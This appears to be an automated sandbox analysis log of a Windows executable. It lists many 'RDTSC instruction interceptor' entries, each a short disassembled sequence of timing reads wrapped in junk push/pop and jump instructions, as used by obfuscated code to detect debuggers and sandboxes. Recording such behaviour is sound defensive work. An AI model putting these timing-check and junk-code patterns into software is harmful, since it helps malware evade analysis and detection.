Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4FA8 second address: 10E4FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4FAC second address: 10E4FBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA2Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4FBE second address: 10E4FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4FC2 second address: 10E4FF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F863914EA52h 0x0000000e jmp 00007F863914EA38h 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007F863914EA26h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4FF0 second address: 10E4FF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E52B5 second address: 10E52B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF58F second address: 10EF5B3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F86385196E7h 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EDF7B second address: 10EDF7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EDF7F second address: 10EDF9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jbe 00007F86385196E8h 0x0000000d jo 00007F86385196E2h 0x00000013 ja 00007F86385196D6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE0C5 second address: 10EE0E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F863914EA39h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE0E3 second address: 10EE0E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE0E9 second address: 10EE125 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F863914EA3Ch 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F863914EA34h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE125 second address: 10EE12B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE12B second address: 10EE145 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F863914EA26h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007F863914EA2Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEB7C second address: 10EEB80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEC99 second address: 10EECB1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jne 00007F863914EA26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push edi 0x00000010 pop edi 0x00000011 jns 00007F863914EA26h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EECB1 second address: 10EECB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EEE45 second address: 10EEE4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2786 second address: 10F278A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F278A second address: 10F27AF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F863914EA26h 0x00000008 jmp 00007F863914EA35h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F27AF second address: 10F27B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7F4B second address: 10F7F52 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6ECA second address: 10F6ECE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F6ECE second address: 10F6F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F863914EA37h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F863914EA2Dh 0x00000013 jmp 00007F863914EA2Dh 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5197 second address: 1096D7E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F86385196E2h 0x00000008 jmp 00007F86385196DCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 cmc 0x00000013 call dword ptr [ebp+1245FFAFh] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B566E second address: 10B5696 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F863914EA3Ah 0x00000008 jmp 00007F863914EA34h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push esi 0x00000011 jbe 00007F863914EA2Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B57CB second address: 10B57F8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F86385196E1h 0x00000008 jmp 00007F86385196DBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xor dword ptr [esp], 338B656Ch 0x00000016 movsx edx, ax 0x00000019 push 8DD7C700h 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jnc 00007F86385196D6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B57F8 second address: 10B57FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B593F second address: 10B5943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5AB1 second address: 10B5AB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5B8F second address: 10B5BAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a and cx, 4026h 0x0000000f push 00000004h 0x00000011 sub edx, 6F2A4EAFh 0x00000017 push eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5BAC second address: 10B5BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5F16 second address: 10B5F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5F1C second address: 10B5F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F863914EA28h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 call 00007F863914EA2Dh 0x00000028 add ecx, 313EBCA1h 0x0000002e pop edx 0x0000002f push 0000001Eh 0x00000031 mov dword ptr [ebp+122D1D81h], ebx 0x00000037 nop 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push ebx 0x0000003d pop ebx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5F64 second address: 10B5F6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5F6A second address: 10B5F74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F863914EA26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5F74 second address: 10B5F78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5F78 second address: 10B5FA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F863914EA35h 0x0000000f pushad 0x00000010 jc 00007F863914EA26h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6239 second address: 10B6241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F72F5 second address: 10F72FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F72FB second address: 10F7305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F75D7 second address: 10F75DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F75DF second address: 10F75E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F75E3 second address: 10F7607 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F863914EA26h 0x00000008 jmp 00007F863914EA37h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7607 second address: 10F762D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F86385196E6h 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F762D second address: 10F7631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7B95 second address: 10F7B9B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7B9B second address: 10F7BBF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F863914EA3Bh 0x00000008 jmp 00007F863914EA35h 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD7E7 second address: 10FD7ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD02D second address: 10FD04E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA32h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F863914EA2Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD04E second address: 10FD052 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD052 second address: 10FD058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD058 second address: 10FD064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD4F4 second address: 10FD4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FD4FA second address: 10FD4FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1102082 second address: 110209D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F863914EA36h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110209D second address: 11020A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11021FC second address: 1102203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106823 second address: 1106827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106827 second address: 1106840 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F863914EA2Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106840 second address: 1106846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106846 second address: 110684A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105EE6 second address: 1105EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105EEC second address: 1105EFC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F863914EA26h 0x00000008 jns 00007F863914EA26h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105EFC second address: 1105F02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105F02 second address: 1105F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11061E2 second address: 11061F1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F86385196D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11061F1 second address: 11061FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110651A second address: 110651E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110651E second address: 110652C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F863914EA28h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110652C second address: 1106531 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1073336 second address: 107333C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107333C second address: 107334F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F86385196D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F86385196D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107334F second address: 1073359 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F863914EA26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B085 second address: 110B08B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B08B second address: 110B091 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B091 second address: 110B0AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F86385196E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B1EE second address: 110B1F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B1F2 second address: 110B1FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B1FD second address: 110B203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B367 second address: 110B373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B4B2 second address: 110B4B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B4B6 second address: 110B4BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B5EE second address: 110B5F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B5D93 second address: 10B5DF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F86385196DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a and cl, FFFFFF8Dh 0x0000000d mov ecx, dword ptr [ebp+122D1C75h] 0x00000013 mov ebx, dword ptr [ebp+12486EEDh] 0x00000019 push ecx 0x0000001a xor dword ptr [ebp+122D1B2Ch], eax 0x00000020 pop ecx 0x00000021 add eax, ebx 0x00000023 push 00000000h 0x00000025 push esi 0x00000026 call 00007F86385196D8h 0x0000002b pop esi 0x0000002c mov dword ptr [esp+04h], esi 0x00000030 add dword ptr [esp+04h], 00000016h 0x00000038 inc esi 0x00000039 push esi 0x0000003a ret 0x0000003b pop esi 0x0000003c ret 0x0000003d jmp 00007F86385196DCh 0x00000042 push esi 0x00000043 mov dh, al 0x00000045 pop edx 0x00000046 nop 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a jc 00007F86385196D6h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B8A6 second address: 110B8AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B8AE second address: 110B8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B8B4 second address: 110B8D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop ecx 0x00000010 push esi 0x00000011 jc 00007F863914EA26h 0x00000017 js 00007F863914EA26h 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B8D2 second address: 110B8DD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007F86385196D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110BA23 second address: 110BA36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F863914EA2Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110BA36 second address: 110BA4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jnl 00007F86385196D6h 0x0000000f popad 0x00000010 pushad 0x00000011 jg 00007F86385196D6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11132CC second address: 11132D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F863914EA26h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113883 second address: 111389E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F86385196DDh 0x0000000d jo 00007F86385196D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111389E second address: 11138A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11138A2 second address: 11138A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1113E7B second address: 1113E99 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F863914EA26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007F863914EA31h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114DD8 second address: 1114DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114DDE second address: 1114DE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
